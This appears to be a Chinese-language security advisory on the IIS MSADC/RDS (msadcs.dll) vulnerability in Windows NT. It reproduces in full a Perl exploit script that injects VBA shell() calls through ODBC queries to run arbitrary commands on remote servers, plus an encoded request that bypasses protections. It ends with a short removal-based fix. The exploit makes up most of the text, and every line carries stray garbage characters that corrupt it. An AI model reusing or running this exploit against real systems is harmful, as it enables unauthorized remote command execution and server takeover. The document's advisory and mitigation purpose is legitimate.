IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Q(Gl{#b GF$`BGW 涉及程序:
x#H
3=YD* Microsoft NT server
Or0O/\D) M.[rLJZ4 描述:
EWjgI_- 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
"%6/a7S V/%~F6e 详细:
V diJ>d[ 如果你没有时间读详细内容的话,就删除:
#FH[hRo=6 c:\Program Files\Common Files\System\Msadc\msadcs.dll
"r'ozf2\ 有关的安全问题就没有了。
|E)aT#$f' \Qy$I-Du 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
",Cr,;] PXk?aJ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
!L24+ $ 关于利用ODBC远程漏洞的描述,请参看:
,"2TArC'z ~E5z"o6$ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm D Ml?o:l ?cy4&]s 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
@It>*B yB. http://www.microsoft.com/security/bulletins/MS99-025faq.asp #,NvO!j<4 #&
?g %' 这里不再论述。
Jkt4@h2Q} 6iA( o*'Yn 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
"Cz<d w]D )>a B /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
kg97S 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
{XCf-{a]~ 9KuD(EJS quxdG>8 #将下面这段保存为txt文件,然后: "perl -x 文件名"
* ?Jz2[B r@G#[.*A> #!perl
WyhhCR=; #
PBjmGwg7 # MSADC/RDS 'usage' (aka exploit) script
s^8u&y)3 #
s Be7"^ # by rain.forest.puppy
!|Q5Zi;aX7 #
>QkP7Kb # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
8V/L:h#7 # beta test and find errors!
~+6Vdxm *%5{' use Socket; use Getopt::Std;
2f~($}+* getopts("e:vd:h:XR", \%args);
%;xOB^H^ ~@W*r5/ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Kg\R+i@#< K }$&:nao if (!defined $args{h} && !defined $args{R}) {
3L5r*fa print qq~
U9hS<}<Ki Usage: msadc.pl -h <host> { -d <delay> -X -v }
]/X(V|t -h <host> = host you want to scan (ip or domain)
RP4Ku9hk -d <seconds> = delay between calls, default 1 second
eD?3"!c! -X = dump Index Server path table, if available
j]rz] k -v = verbose
uBrMk -e = external dictionary file for step 5
DGESba\2+ ;q>9W,jy Or a -R will resume a command session
zCaT tb|@ XzIx:J6 ~; exit;}
w?Ju5 5 R9+jW'[K $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
V9NTs8LKc if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
k?GD/$1t if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
iA
}vKQ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
5s{j=.O $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
;]2s,za)qs if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
!D^c3d
!^c@shLN4 if (!defined $args{R}){ $ret = &has_msadc;
2/
rt@{V( die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~wm;;#_O i yesD print "Please type the NT commandline you want to run (cmd /c assumed):\n"
+kK . "cmd /c ";
s@4nWe $in=<STDIN>; chomp $in;
B=f,QU $command="cmd /c " . $in ;
s"KJiQKGM Gbpw5n;e if (defined $args{R}) {&load; exit;}
T#@lDpO y[};J
vk print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
K>:]Bx#F7 &try_btcustmr;
k;W@LfP OHrY(I6 print "\nStep 2: Trying to make our own DSN...";
ZD/jX_!t &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
+0wT!DZW\= l\0w;:N3 print "\nStep 3: Trying known DSNs...";
n"Veem[_4g &known_dsn;
!%(h2]MQ Fh|#u:n print "\nStep 4: Trying known .mdbs...";
SymwAS+ &known_mdb;
R7jmv n >r@.F% if (defined $args{e}){
Bh`N[\r print "\nStep 5: Trying dictionary of DSN names...";
+avMX&% &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
YUU-D( G6P)C##ibn print "Sorry Charley...maybe next time?\n";
E(pF:po exit;
{PU!=IkTS 'wasZ b<^ ##############################################################################
UB`ToE|Ii m><w0k?t sub sendraw { # ripped and modded from whisker
N7r_77%m0 sleep($delay); # it's a DoS on the server! At least on mine...
`$LWmm# my ($pstr)=@_;
6DIZ@ oi socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
g6t"mkMY
L die("Socket problems\n");
/hrT if(connect(S,pack "SnA4x8",2,80,$target)){
lA(Q@yEW select(S); $|=1;
/'2O.d0}. print $pstr; my @in=<S>;
) /vhclkb select(STDOUT); close(S);
8F(h*e_? return @in;
C;+(Zp } else { die("Can't connect...\n"); }}
@Hb'8F fc=Patg ##############################################################################
:# E*Y8- .{KjEg 6 sub make_header { # make the HTTP request
`?g`bN`Vn my $msadc=<<EOT
bu7'oB~:V^ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
2aZw[7s User-Agent: ACTIVEDATA
%_-zWVJ Host: $ip
9h90huyKF Content-Length: $clen
#m{{a]zm^ Connection: Keep-Alive
8M*PML4r rPNb\Ri ADCClientVersion:01.06
63|+2-E2Q Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
BcjP+$k4_ ^mWybPqx --!ADM!ROX!YOUR!WORLD!
8b.u'r174 Content-Type: application/x-varg
WW2Ob* Content-Length: $reqlen
<:FP4e
"( u=F+(NE" EOT
\6?A!w~6 ; $msadc=~s/\n/\r\n/g;
#o/H~Iv return $msadc;}
5Z/GK2[HL hRI"y":zD ##############################################################################
>7`<!YJkK =o}"jVE sub make_req { # make the RDS request
nMfFH[I4 my ($switch, $p1, $p2)=@_;
/v|"0 my $req=""; my $t1, $t2, $query, $dsn;
UUKP" m"\:o if ($switch==1){ # this is the btcustmr.mdb query
.o1^Oh $query="Select * from Customers where City=" . make_shell();
B&+`)E{KB $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Yb i%od& $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
OJN2z 5
8-e^. elsif ($switch==2){ # this is general make table query
f %lD08Sl $query="create table AZZ (B int, C varchar(10))";
S d/?& $dsn="$p1";}
EpS(o>' jc[_I&Oc_ elsif ($switch==3){ # this is general exploit table query
8[CB>-9 $query="select * from AZZ where C=" . make_shell();
|{*}| $dsn="$p1";}
,mS/h~-5n SVlua@]ChU elsif ($switch==4){ # attempt to hork file info from index server
Ok7t@l$ $query="select path from scope()";
Z@8vL $dsn="Provider=MSIDXS;";}
f'I z
G.R .x`M<L#M( elsif ($switch==5){ # bad query
^,F;M`[ $query="select";
6$a$K,dZ $dsn="$p1";}
$WYbm}j I$NhXZ)KT $t1= make_unicode($query);
EV#MQM $t2= make_unicode($dsn);
tt?58dm| $req = "\x02\x00\x03\x00";
-7/s]9o' $req.= "\x08\x00" . pack ("S1", length($t1));
O1 .w,U $req.= "\x00\x00" . $t1 ;
<^b7cOFQ $req.= "\x08\x00" . pack ("S1", length($t2));
G2LK] $req.= "\x00\x00" . $t2 ;
<H1` $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
M<SdPC(+ return $req;}
&1l=X]% >-_d CNZ ##############################################################################
L@75-T G$'jEa<:u sub make_shell { # this makes the shell() statement
v5;I]?72l~ return "'|shell(\"$command\")|'";}
9Suu-A d_n7k g+ ##############################################################################
;N B:e <2!v(EkI sub make_unicode { # quick little function to convert to unicode
ms($9 Lv/ my ($in)=@_; my $out;
}pk#!N for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
yc2/~a_Gx return $out;}
*19ax&|*S {7cX#1 ##############################################################################
EM7+VO( 2 oa#0`{ sub rdo_success { # checks for RDO return success (this is kludge)
%8*64T") my (@in) = @_; my $base=content_start(@in);
{GvTfZfp if($in[$base]=~/multipart\/mixed/){
V._6=ZJ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
"G-1>:
return 0;}
aK,z}l(N gH2,\z`[4 ##############################################################################
B63pgPX {QBB^px sub make_dsn { # this makes a DSN for us
x}U8zt)yD3 my @drives=("c","d","e","f");
ze_{=Cv&Y print "\nMaking DSN: ";
Wv__ wZ foreach $drive (@drives) {
`28};B> print "$drive: ";
%}86D[PF my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
M
:3u@06a "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
]
2DH; . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
ZYf2XI(_" $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
U.AjYez return 0 if $2 eq "404"; # not found/doesn't exist
pA{ 5V9 if($2 eq "200") {
-p-B2?)A foreach $line (@results) {
7'wS\/e4a return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Qr1e@ =B } return 0;}
L,d
LE-L TI9UXa:V\ ##############################################################################
w ;daC(: ZcuA6#3B sub verify_exists {
\MxoZ my ($page)=@_;
QKN<+,h!z> my @results=sendraw("GET $page HTTP/1.0\n\n");
DC1'Kyk return $results[0];}
=0@&GOq &t5{J53 ##############################################################################
!-m&U4Ku6o 7&KT0a* sub try_btcustmr {
'(f/~"9B my @drives=("c","d","e","f");
x^"ES%* my @dirs=("winnt","winnt35","winnt351","win","windows");
g8!wb{8?s HTe<x foreach $dir (@dirs) {
AamVms print "$dir -> "; # fun status so you can see progress
=9kN_:- foreach $drive (@drives) {
h._nK\ print "$drive: "; # ditto
k{gLMl $reqlen=length( make_req(1,$drive,$dir) ) - 28;
C^QtSha $reqlenlen=length( "$reqlen" );
9}B`uJ $clen= 206 + $reqlenlen + $reqlen;
/(O$(35 gPAX4' my @results=sendraw(make_header() . make_req(1,$drive,$dir));
[2ax>Yk$ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
vP7K9Kx else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
GDYFU*0 7_2kDDW0 ##############################################################################
<foCb%$(? %>g W9}kB sub odbc_error {
#W.vX?-'0 my (@in)=@_; my $base;
y=Mq(c:'UN my $base = content_start(@in);
b':|uu*/ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
DzQ1%! $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Cf B.ZT $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9h/>QLx $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
P}.7Mehf return $in[$base+4].$in[$base+5].$in[$base+6];}
AxxJk"v'y print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
.^$YfTabq print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
JQ:Ri $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
E;21?`x5 j3q~E[Mz\ ##############################################################################
E7Cy(LO +UJuB sub verbose {
_C\[DR0n my ($in)=@_;
zqDR7+] return if !$verbose;
do uc('@ print STDOUT "\n$in\n";}
XC7%vDIt z} '! eCl ##############################################################################
*m%]zj0bo $+}+zZX5 sub save {
FgL,k my ($p1, $p2, $p3, $p4)=@_;
+n}$pM|NKU open(OUT, ">rds.save") || print "Problem saving parameters...\n";
PSawMPw print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
tNVV)C close OUT;}
%gnM(pxl gX{loG ##############################################################################
TpA\9N#$ fQLt=Lrp sub load {
,@m@S^ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
A`{y9@h( open(IN,"<rds.save") || die("Couldn't open rds.save\n");
s:00yQ @p=<IN>; close(IN);
c*d9'}E $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
3:%QB9qc]' $target= inet_aton($ip) || die("inet_aton problems");
j@Qg0F print "Resuming to $ip ...";
&R~n>>c $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
qo)?8kx>l if($p[1]==1) {
3D9!M- $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Pmi#TW3X $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
/~4"No@ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
%!ebO*8q if (rdo_success(@results)){print "Success!\n";}
b|SE<\ else { print "failed\n"; verbose(odbc_error(@results));}}
0J.dG/I% elsif ($p[1]==3){
zi~5l#I if(run_query("$p[3]")){
?S?2 0 print "Success!\n";} else { print "failed\n"; }}
}HEvr)v9 elsif ($p[1]==4){
>zkRcm if(run_query($drvst . "$p[3]")){
@pGZLq print "Success!\n"; } else { print "failed\n"; }}
7FN<iI&7\ exit;}
W4;m H}#0 gn5)SP 8 ##############################################################################
K;7f?52 o;b0m;~ sub create_table {
Lp5U"6y my ($in)=@_;
W)(^m},*8D $reqlen=length( make_req(2,$in,"") ) - 28;
xf%4, JQ $reqlenlen=length( "$reqlen" );
}FF W|f $clen= 206 + $reqlenlen + $reqlen;
H"2uxhdLK3 my @results=sendraw(make_header() . make_req(2,$in,""));
F_xbwa*= return 1 if rdo_success(@results);
#S%Q*k<hw my $temp= odbc_error(@results); verbose($temp);
7?OH,^ return 1 if $temp=~/Table 'AZZ' already exists/;
`RMI(zI3g. return 0;}
DoC(Z)o >pkT1Z&' ##############################################################################
3Rm#-T s d2X[(3 sub known_dsn {
[<`SfE # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
|%~+2m my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
U $Qv>7 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Hn,:`mj4-6 "banner", "banners", "ads", "ADCDemo", "ADCTest");
K.gEj*@ @?C#r.vgp foreach $dSn (@dsns) {
* y^OV_n-8 print ".";
Cw5%\K$= next if (!is_access("DSN=$dSn"));
o`khz{SU: if(create_table("DSN=$dSn")){
hVjNZ print "$dSn successful\n";
a:~@CUD
>I if(run_query("DSN=$dSn")){
_w@qr\4i= print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
zU6a'tP print "Something's borked. Use verbose next time\n";}}} print "\n";}
jQU"Ved K!D
o8| ##############################################################################
P?BGBbC {f9{8-W<u sub is_access {
<lr*ZSNY my ($in)=@_;
H7i$xWs $reqlen=length( make_req(5,$in,"") ) - 28;
k
{- $reqlenlen=length( "$reqlen" );
H1!iP$1#V $clen= 206 + $reqlenlen + $reqlen;
SM[Bv9|0 my @results=sendraw(make_header() . make_req(5,$in,""));
HxK$ 4I` my $temp= odbc_error(@results);
8\<jyJ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
p}Fs'l?7Rq return 0;}
wix5B@ Li 2Zndp ##############################################################################
wwKh CmH n(~\l#o@ sub run_query {
L.6WiVP) my ($in)=@_;
doHF|<s $reqlen=length( make_req(3,$in,"") ) - 28;
5>9Y|UU $reqlenlen=length( "$reqlen" );
JT[*3h $clen= 206 + $reqlenlen + $reqlen;
uhN%Aj\iu( my @results=sendraw(make_header() . make_req(3,$in,""));
NGYyn`Lx return 1 if rdo_success(@results);
!#wd Ve_( my $temp= odbc_error(@results); verbose($temp);
wx=0'T-[ return 0;}
=1dI>M>tm ^s\3/z>b4! ##############################################################################
qdCWy 9Qj2W sub known_mdb {
{#IPf0O my @drives=("c","d","e","f","g");
CeT~p6= my @dirs=("winnt","winnt35","winnt351","win","windows");
ujW1+Oj=~ my $dir, $drive, $mdb;
"S~_[/q my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(_*
wt]"' A`O <6
# this is sparse, because I don't know of many
+.[\g|G my @sysmdbs=( "\\catroot\\icatalog.mdb",
`Lyq[zg8 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
xChI,~i "\\system32\\certmdb.mdb",
F=G{)*Ih "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
*X%m@KLIKv P+e KZo my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
m}VM+= "\\cfusion\\cfapps\\forums\\forums_.mdb",
i5hD# "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
G@S&1=nj3 "\\cfusion\\cfapps\\security\\realm_.mdb",
~;-9X| "\\cfusion\\cfapps\\security\\data\\realm.mdb",
9?+9UlJ7K "\\cfusion\\database\\cfexamples.mdb",
mzL[/B#>M "\\cfusion\\database\\cfsnippets.mdb",
]O:M$ $ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
ps1YQ3Ep& "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
;D ~L| "\\cfusion\\brighttiger\\database\\cleam.mdb",
lfk9+) "\\cfusion\\database\\smpolicy.mdb",
~Pk0u{,4XQ "\\cfusion\\database\cypress.mdb",
6FfOH<\z6i "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
} :iBx "\\website\\cgi-win\\dbsample.mdb",
NTs;FX~g[ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
nbofYI$rd& "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Al)$An- ); #these are just
TOl}U foreach $drive (@drives) {
YHxbDf dA foreach $dir (@dirs){
x:K?\< foreach $mdb (@sysmdbs) {
>L((2wfiN print ".";
cu#e38M&eE if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
]/]ju$l9Z print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
,S[K{y< if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
)"@t6. print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
y_F}s9wj } else { print "Something's borked. Use verbose next time\n"; }}}}}
%@&a7JOL OQ_stE2i foreach $drive (@drives) {
+2cs#i foreach $mdb (@mdbs) {
@b!"joEy print ".";
A3P9.mur if(create_table($drv . $drive . $dir . $mdb)){
k/Mp6<?C: print "\n" . $drive . $dir . $mdb . " successful\n";
#?}6t~ if(run_query($drv . $drive . $dir . $mdb)){
ed~R>F> print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
"i'bTVs } else { print "Something's borked. Use verbose next time\n"; }}}}
DrS~lTf=> }
A,i()R'I vfvlB[ ##############################################################################
<FFJzNc+ cErI%v}v0 sub hork_idx {
O]u",J5 print "\nAttempting to dump Index Server tables...\n";
7r{qJ7$% print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
kL{;.WsB $reqlen=length( make_req(4,"","") ) - 28;
_[Gb)/@mM $reqlenlen=length( "$reqlen" );
'|K.k6 $clen= 206 + $reqlenlen + $reqlen;
ka7uK][ my @results=sendraw2(make_header() . make_req(4,"",""));
e]W0xC- if (rdo_success(@results)){
?z` MPdO my $max=@results; my $c; my %d;
=7[)' for($c=19; $c<$max; $c++){
vM0_>1nN $results[$c]=~s/\x00//g;
f%fa{ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
irxz l3 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
mE$dO3 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
}#9(Mul $d{"$1$2"}="";}
Unl?fXI foreach $c (keys %d){ print "$c\n"; }
='Oj4T } else {print "Index server doesn't seem to be installed.\n"; }}
G^h_YjR`* /MMtTB
H ##############################################################################
DMgBcP o 5Zyh26 sub dsn_dict {
[$:,-Q @ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
MB$a82bY while(<IN>){
a#(U2OP $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
=TcOn Qj next if (!is_access("DSN=$dSn"));
ki\uTD`mf if(create_table("DSN=$dSn")){
P@ypk^v print "$dSn successful\n";
tbj=~xYf if(run_query("DSN=$dSn")){
Z}Cqd?_') print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
T nxKR$Hoh print "Something's borked. Use verbose next time\n";}}}
5rN_jC*U print "\n"; close(IN);}
u]vPy
ria 8Pmwzpk02 ##############################################################################
swr"k6;G 2bQ/0?.).- sub sendraw2 { # ripped and modded from whisker
s"mFt{Y sleep($delay); # it's a DoS on the server! At least on mine...
H:}}t]E my ($pstr)=@_;
DnyYMe!r socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@@pq'iRn die("Socket problems\n");
\XH@b6{ if(connect(S,pack "SnA4x8",2,80,$target)){
VyZV(k print "Connected. Getting data";
+t\^(SJ6 open(OUT,">raw.out"); my @in;
sWxK~Yg select(S); $|=1; print $pstr;
=:K@zlO: while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
.P/xs4 close(OUT); select(STDOUT); close(S); return @in;
XeUprN } else { die("Can't connect...\n"); }}
Y}1P~
h)B!LAr
##############################################################################
JieU9lA^&B b~wKF0vq sub content_start { # this will take in the server headers
'C]jwxy my (@in)=@_; my $c;
(KF7zP for ($c=1;$c<500;$c++) {
vo;5f[>4i if($in[$c] =~/^\x0d\x0a/){
3"i% { if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
z[#6-T
& else { return $c+1; }}}
#
cWHDRLX return -1;} # it should never get here actually
ya>N.h b.Su@ay@(^ ##############################################################################
Y^eX@dEFR u~Lu<3v sub funky {
x`2pr my (@in)=@_; my $error=odbc_error(@in);
x70N8TQ_gK if($error=~/ADO could not find the specified provider/){
-uR{X G. D print "\nServer returned an ADO miscofiguration message\nAborting.\n";
rgR?wXW]jE exit;}
elKx]%k*) if($error=~/A Handler is required/){
y9
uVCR print "\nServer has custom handler filters (they most likely are patched)\n";
Sr7@ buF exit;}
m!!;/e?yx if($error=~/specified Handler has denied Access/){
gE=Wcb! print "\nServer has custom handler filters (they most likely are patched)\n";
{5x>y:v exit;}}
Y@:3 B:m# m.146 ##############################################################################
$MT}l
kgc.8 sub has_msadc {
%F3}/2 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
59MR|Jt my $base=content_start(@results);
cju@W] ! return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
32KR--mn% return 0;}
9S"N4c> ,?w!5N;iRO ########################
![Hhxu 7K !GK lm &^tjx 解决方案:
+3?`M<L0 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
R#fy60 2、移除web 目录: /msadc